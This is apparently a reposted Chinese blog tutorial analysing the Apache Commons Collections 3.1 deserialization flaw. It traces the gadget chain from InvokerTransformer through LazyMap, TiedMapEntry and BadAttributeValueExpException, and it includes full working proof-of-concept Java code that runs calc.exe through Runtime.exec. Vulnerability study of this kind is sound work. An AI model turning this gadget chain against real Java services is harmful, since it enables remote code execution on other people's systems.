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Apache Common Collections 反序列化分析学习

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库

漏洞版本<=3.2.1

起一个maven项目,pom.xml内容如下:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>2</groupId>
  <artifactId>2</artifactId>
  <packaging>war</packaging>
  <version>0.0.1-SNAPSHOT</version>
  <name>Common-Collections Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>
  </dependencies>
  <build>
    <finalName>Common-Collections</finalName>
  </build>
</project>

漏洞分析

漏洞基础利用

主要漏洞利用点在InvokerTransformer.class的transform方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

可以看出传参一个Object,然后通过反射进行任意的方法调用,定位下iMethodName和iParamTypes变量

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

可以看到在初始化类的时候进行了变量的定义,所以这些都是我们可控的地方,也就是可以通过InvokerTransformer类进行任意类任意方法的调用。

但是仅仅这样无法满足java的命令执行,对于PHP而言,只需要简单的system(‘xx’)这样的函数形式即可执行命令,但对于Java来讲命令执行通常为:Runtime.getRuntime().exec(cmd),所以我们必须要进行多次调用,把第一次调用后的结果传给后面一直执行,所以这里是需要多次调用transform方法才可以达到命令执行的目的,所以要找一个可以多次调用transform的函数

ChainedTransformer.class

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

构造函数会把传进来的对象数组赋值给iTransformers变量,可以看到这里可以通过循环把每一次通过transform得到object作为参数再传给下一次使用,这样就符合了我们之前需要达到的要求.

看一下简单利用的poc

package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo1{
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(null);
    }


}

这里主要解释下对于getMethod的反射为什么是两个class (String.class和class[].class),翻下getMethod函数的源码

@CallerSensitive
public Method getMethod(String name, Class<?>... parameterTypes)
    throws NoSuchMethodException, SecurityException {
    checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
    Method method = getMethod0(name, parameterTypes, true);
    if (method == null) {
        throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
    }
    return method;
}

可以看到如果需要反射getMethod方法,需要两个参数第一个自然就是String.class,第二个参数是可变数量的泛型class,所以第二个需要传参Class[].class ,同理,invoke也是如此,就不再赘述了。

进阶反序列化

上面介绍的只是一些主要的触发点,如果要达到反序列化直接触发的话,还是差一些的,我们需要的是直接通过readObject触发,上面的话还需要再调用一次transform方法,所以需要找到一些调用链来使得tranform自动调用

LazyMap.class

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }
    
    
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }
}

对于LazyMap的构造函数,如果第二个参数是Transformer类,则会将这个参数赋值给factory变量给下面的get方法进行使用.

在LazyMap的get函数中,如果map中不包含传进来的键值的话,则会调用this.factory的transform方法,所以这里可以将factory设置为ChainedTransformer类,这样我们就可以控制factory了,接下来找下get方法的调用

TiedMapEntry.class

public Object getValue() {
    return this.map.get(this.key);
}

很明显可以看出 this.map和我们的lazymap很合适,接着找下getValue的调用

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

java的toString其实是和php一样的,当对象被当作字符串调用时,触发toString

其实这里如果把反序列化后的对象直接打印出来,确实可以触发,但是还是不算直接触发,这里可以找一个重写过的readObject方法完成这个操作:

BadAttributeValueExpException.class

   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
       ObjectInputStream.GetField gf = ois.readFields();
       Object valObj = gf.get("val", null);

       if (valObj == null) {
           val = null;
       } else if (valObj instanceof String) {
           val= valObj;
       } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
           val = valObj.toString();
       } else { // the serialized object is from a version without JDK-8019292 fix
           val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
       }
   }
}

取出val变量,进行一系列字符串操作,如果我们把这个val变量设置为TiedMapEntry类的话,在程序运行到if(valObj == null)的时候就会触发toString,完成一系列调用,不过这个val变量是私有的,需要通过反射来进行设置变量,最终完整poc如下:

package demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "lih3iu");

        BadAttributeValueExpException ins = new BadAttributeValueExpException(null);

        Field valfield = ins.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(ins, entry);

        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
        ois.close();
    }
}
原文  https://lihuaiqiu.github.io/2020/05/13/Apache-Common-Collections-反序列化分析学习/
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